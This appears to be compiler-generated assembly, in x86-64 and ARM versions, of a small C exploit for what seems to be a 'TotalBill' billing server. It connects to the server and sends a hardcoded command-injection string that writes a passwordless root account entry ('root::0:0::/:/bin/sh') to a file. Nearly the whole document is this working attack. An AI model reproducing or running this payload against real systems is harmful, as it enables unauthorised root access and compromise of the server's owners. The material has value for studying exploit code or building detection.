	.file	"extr_20145.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC0:
	.string	"Error: Could not create a socket: %s\n"
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC1:
	.string	"Error: Could not look up %s\n"
	.section	.rodata.str1.8
	.align 8
.LC2:
	.string	"Error: Cannot connect to %s: %s\n"
	.align 8
.LC3:
	.string	"123456  execute  execute  execute=/bin/echo+root::0:0::/:/bin/sh+>+/rootfile"
	.section	.rodata.str1.1
.LC4:
	.string	"Sending command %s to %s\n"
	.section	.rodata.str1.8
	.align 8
.LC5:
	.string	"Error: Cannot write to socket: %s\n"
	.align 8
.LC6:
	.string	"Sent...waiting for response..."
	.align 8
.LC7:
	.string	"Error: Cannot read from socket: %s\n"
	.section	.rodata.str1.1
.LC8:
	.string	"Received %s from server\n"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	r12
	.cfi_def_cfa_offset 16
	.cfi_offset 12, -16
	push	rbp
	.cfi_def_cfa_offset 24
	.cfi_offset 6, -24
	sub	rsp, 4096
	.cfi_def_cfa_offset 4120
	or	QWORD PTR [rsp], 0
	sub	rsp, 4096
	.cfi_def_cfa_offset 8216
	or	QWORD PTR [rsp], 0
	sub	rsp, 40
	.cfi_def_cfa_offset 8256
	mov	edx, DWORD PTR IPPROTO_TCP[rip]
	mov	esi, DWORD PTR SOCK_STREAM[rip]
	mov	edi, DWORD PTR AF_INET[rip]
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR 8216[rsp], rax
	xor	eax, eax
	call	socket@PLT
	test	eax, eax
	js	.L11
	lea	r12, 4[rsp]
	xor	esi, esi
	mov	edx, 12
	mov	ebp, eax
	mov	rdi, r12
	call	memset@PLT
	mov	eax, DWORD PTR AF_INET[rip]
	mov	edi, DWORD PTR TOTALBILL_PORT[rip]
	mov	DWORD PTR 12[rsp], eax
	call	htons@PLT
	mov	rdi, QWORD PTR TOTALBILL_SERVER[rip]
	mov	DWORD PTR 8[rsp], eax
	call	gethostbyname@PLT
	test	rax, rax
	je	.L12
	mov	rcx, QWORD PTR 8[rax]
	mov	edx, DWORD PTR [rax]
	mov	rdi, r12
	mov	esi, DWORD PTR [rcx]
	call	memcpy@PLT
	mov	edx, 12
	mov	rsi, r12
	mov	edi, ebp
	call	connect@PLT
	test	rax, rax
	js	.L13
	mov	rdx, QWORD PTR TOTALBILL_SERVER[rip]
	lea	rsi, .LC3[rip]
	lea	rdi, .LC4[rip]
	xor	eax, eax
	call	printf@PLT
	mov	edx, 77
	lea	rsi, .LC3[rip]
	mov	edi, ebp
	call	write@PLT
	test	rax, rax
	js	.L14
	lea	rdi, .LC6[rip]
	lea	r12, 16[rsp]
	call	puts@PLT
	mov	edx, 8192
	mov	rsi, r12
	mov	edi, ebp
	call	read@PLT
	test	rax, rax
	js	.L15
	mov	rsi, r12
	lea	rdi, .LC8[rip]
	xor	eax, eax
	call	printf@PLT
	mov	edi, ebp
	call	close@PLT
	xor	eax, eax
.L1:
	mov	rcx, QWORD PTR 8216[rsp]
	xor	rcx, QWORD PTR fs:40
	jne	.L16
	add	rsp, 8232
	.cfi_remember_state
	.cfi_def_cfa_offset 24
	pop	rbp
	.cfi_def_cfa_offset 16
	pop	r12
	.cfi_def_cfa_offset 8
	ret
.L11:
	.cfi_restore_state
	mov	edi, DWORD PTR errno[rip]
	call	strerror@PLT
	mov	edi, DWORD PTR stderr[rip]
	lea	rsi, .LC0[rip]
	mov	rdx, rax
	xor	eax, eax
	call	fprintf@PLT
	mov	eax, 1
	jmp	.L1
.L13:
	mov	edi, DWORD PTR errno[rip]
	call	strerror@PLT
	mov	rdx, QWORD PTR TOTALBILL_SERVER[rip]
	mov	edi, DWORD PTR stderr[rip]
	lea	rsi, .LC2[rip]
	mov	rcx, rax
	xor	eax, eax
	call	fprintf@PLT
	mov	eax, 1
	jmp	.L1
.L12:
	mov	rdx, QWORD PTR TOTALBILL_SERVER[rip]
	mov	edi, DWORD PTR stderr[rip]
	lea	rsi, .LC1[rip]
	call	fprintf@PLT
	mov	eax, 1
	jmp	.L1
.L14:
	mov	edi, DWORD PTR errno[rip]
	call	strerror@PLT
	mov	edi, DWORD PTR stderr[rip]
	lea	rsi, .LC5[rip]
	mov	rdx, rax
	xor	eax, eax
	call	fprintf@PLT
	mov	eax, 1
	jmp	.L1
.L15:
	mov	edi, DWORD PTR errno[rip]
	call	strerror@PLT
	mov	edi, DWORD PTR stderr[rip]
	lea	rsi, .LC7[rip]
	mov	rdx, rax
	xor	eax, eax
	call	fprintf@PLT
	mov	eax, 1
	jmp	.L1
.L16:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	stderr,4,4
	.comm	errno,4,4
	.comm	TOTALBILL_SERVER,8,8
	.comm	TOTALBILL_PORT,4,4
	.comm	SOCK_STREAM,4,4
	.comm	IPPROTO_TCP,4,4
	.comm	AF_INET,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_20145.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"Error: Could not create a socket: %s\012\000"
	.align	2
.LC1:
	.ascii	"Error: Could not look up %s\012\000"
	.align	2
.LC2:
	.ascii	"Error: Cannot connect to %s: %s\012\000"
	.align	2
.LC3:
	.ascii	"123456  execute  execute  execute=/bin/echo+root::0"
	.ascii	":0::/:/bin/sh+>+/rootfile\000"
	.align	2
.LC4:
	.ascii	"Sending command %s to %s\012\000"
	.align	2
.LC5:
	.ascii	"Error: Cannot write to socket: %s\012\000"
	.align	2
.LC6:
	.ascii	"Sent...waiting for response...\000"
	.align	2
.LC7:
	.ascii	"Error: Cannot read from socket: %s\012\000"
	.align	2
.LC8:
	.ascii	"Received %s from server\012\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC9:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 8216
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, lr}
	ldr	r3, .L17
	sub	sp, sp, #8192
	sub	sp, sp, #24
	ldr	r2, .L17+4
	ldr	r6, .L17+8
	ldr	r1, [r3]
	ldr	ip, .L17+12
	add	r3, sp, #8192
	ldr	r2, [r2]
	ldr	r0, [r6]
	add	r3, r3, #20
	ldr	ip, [ip]
	str	ip, [r3]
	mov	ip,#0
	bl	socket
	subs	r5, r0, #0
	blt	.L11
	mov	r4, #0
	ldr	r2, .L17+16
	ldr	r3, [r6]
	ldr	r0, [r2]
	str	r3, [sp, #16]
	str	r4, [sp, #12]
	str	r4, [sp, #8]
	bl	htons
	ldr	r6, .L17+20
	str	r0, [sp, #12]
	ldr	r0, [r6]
	bl	gethostbyname
	cmp	r0, #0
	beq	.L12
	ldm	r0, {r2, r3}
	add	r0, sp, #8
	ldr	r1, [r3]
	bl	memcpy
	mov	r2, #12
	mov	r0, r5
	add	r1, sp, #8
	bl	connect
	cmp	r0, #0
	blt	.L13
	ldr	r2, [r6]
	ldr	r1, .L17+24
	ldr	r0, .L17+28
	bl	printf
	mov	r2, #77
	mov	r0, r5
	ldr	r1, .L17+24
	bl	write
	cmp	r0, #0
	blt	.L14
	add	r3, sp, #20
	ldr	r0, .L17+32
	str	r3, [sp, #4]
	bl	puts
	mov	r2, #8192
	mov	r0, r5
	ldr	r1, [sp, #4]
	bl	read
	cmp	r0, #0
	blt	.L15
	ldr	r1, [sp, #4]
	ldr	r0, .L17+36
	bl	printf
	mov	r0, r5
	bl	close
	mov	r0, r4
.L1:
	add	r3, sp, #8192
	ldr	r2, .L17+12
	add	r3, r3, #20
	ldr	r1, [r2]
	ldr	r2, [r3]
	eors	r1, r2, r1
	mov	r2, #0
	bne	.L16
	add	sp, sp, #8192
	add	sp, sp, #24
	@ sp needed
	pop	{r4, r5, r6, pc}
.L11:
	ldr	r3, .L17+40
	ldr	r2, .L17+44
	ldr	r0, [r3]
	ldr	r4, [r2]
	bl	strerror
	ldr	r1, .L17+48
	mov	r2, r0
	mov	r0, r4
	bl	fprintf
	mov	r0, #1
	b	.L1
.L13:
	ldr	r3, .L17+40
	ldr	r2, .L17+44
	ldr	r0, [r3]
	ldr	r4, [r2]
	ldr	r5, [r6]
	bl	strerror
	mov	r2, r5
	mov	r3, r0
	ldr	r1, .L17+52
	mov	r0, r4
	bl	fprintf
	mov	r0, #1
	b	.L1
.L12:
	ldr	r3, .L17+44
	ldr	r2, [r6]
	ldr	r0, [r3]
	ldr	r1, .L17+56
	bl	fprintf
	mov	r0, #1
	b	.L1
.L14:
	ldr	r3, .L17+40
	ldr	r2, .L17+44
	ldr	r0, [r3]
	ldr	r4, [r2]
	bl	strerror
	ldr	r1, .L17+60
	mov	r2, r0
	mov	r0, r4
	bl	fprintf
	mov	r0, #1
	b	.L1
.L15:
	ldr	r3, .L17+40
	ldr	r2, .L17+44
	ldr	r0, [r3]
	ldr	r4, [r2]
	bl	strerror
	ldr	r1, .L17+64
	mov	r2, r0
	mov	r0, r4
	bl	fprintf
	mov	r0, #1
	b	.L1
.L16:
	bl	__stack_chk_fail
.L18:
	.align	2
.L17:
	.word	SOCK_STREAM
	.word	IPPROTO_TCP
	.word	AF_INET
	.word	.LC9
	.word	TOTALBILL_PORT
	.word	TOTALBILL_SERVER
	.word	.LC3
	.word	.LC4
	.word	.LC6
	.word	.LC8
	.word	errno
	.word	stderr
	.word	.LC0
	.word	.LC2
	.word	.LC1
	.word	.LC5
	.word	.LC7
	.size	main, .-main
	.comm	stderr,4,4
	.comm	errno,4,4
	.comm	TOTALBILL_SERVER,4,4
	.comm	TOTALBILL_PORT,4,4
	.comm	SOCK_STREAM,4,4
	.comm	IPPROTO_TCP,4,4
	.comm	AF_INET,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
